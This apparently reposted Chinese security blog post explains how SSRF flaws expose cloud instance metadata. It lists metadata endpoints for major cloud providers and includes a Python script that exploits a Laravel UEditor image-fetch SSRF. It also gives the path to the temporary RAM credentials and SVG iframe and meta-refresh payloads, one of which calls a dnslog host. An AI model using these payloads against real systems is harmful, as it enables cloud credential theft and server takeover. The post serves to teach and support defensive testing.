获取漏洞资料
文章来源:https://blog.csdn.net/weixin_39190897/article/details/136049642
前言
云服务器的实例元数据是指在实例内部通过访问元数据服务(Metadata Service)获取的实例属性等信息,如实例 ID、VPC 信息、网卡信息。元数据包含实例角色所对应的临时凭据的情况下,如果服务器所搭载的对外业务服务存在 SSRF 漏洞,将造成云服务器可被攻击者接管的风险。本文来具体实践、学习下 SSRF 漏洞给云服务元数据带来的安全威胁。
1.1 Metadata元数据
仅网络类型为专有网络 VPC 的 ECS 支持实例元数据功能。
仅支持在实例内部访问元数据服务器来获取实例元数据,且实例需处于运行中状态。
各个云厂商都有自己的元数据 metadata,下面给出部分云厂商的元数据访问地址:
阿里云元数据地址:http://100.100.100.200/latest/meta-data/ram/security-credentials/${role-name}
腾讯云元数据地址:http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/${role-name}
华为云元数据地址:http://169.254.169.254/
亚马云元数据地址:http://169.254.169.254/
微软云元数据地址:http://169.254.169.254/
谷歌云元数据地址:http://metadata.google.internal/
SSRF组合拳案例
下文将记录的是从网上优秀博文提取的借助 SSRF 漏洞获取云服务器 Metadata 敏感元数据并接管目标服务器的实例,以提供一些实战过程中漏洞挖掘思路。
2.1 上传图片功能SSRF
通过指纹扫描发现在目标范围内的一个站点使用了 Laravel 框架,接着测试发现该站点存在 Laravel UEditor SSRF 漏洞。这里的 SSRF 漏洞触发点在 UEditor 编辑器的上传图片功能中,下面我们尝试让服务器从 https://baidu.com?.jpg 获取图片:
import sys
import requests
ssrf_url = sys.argv[1]
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.3100.0 Safari/537.36"}
req1 = requests.get("https://your_target.com/laravel-u-editor-server/server?action=catchimage&source[]=" + ssrf_url,headers=headers)
req2 = requests.get(req1.json()["list"][0]["url"],headers=headers)
print(req2.text)
可以看到成功获取到了元数据信息,并且值得注意的是,在元数据信息里还有 ram/目录,这就意味着这台实例存在临时访问凭证,也就是说存在被进一步利用的可能性。我们一步步打开 ram/ 目录
在下面的目录找到了临时访问凭证
http://100.100.100.200/latest/meta-data/ram/security-credentials/laravel-test-role
2.2 文件导出功能SSRF
<svg><iframesrc="http://123312.h41t0y.dnslog.cn"width=" "height=" "/></svg>
<svg>,<Iframe>
等被禁用后,我们可以使用 <meta>
0 秒刷新请求元数据,以下为具体 payload:<metahttp-equiv="refresh"content="0;url=http://metadata.tencentyun.com/latest/meta-data" />
总结
原文始发于微信公众号(C4安全团队):【SSRF漏洞】云服务元数据利用分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论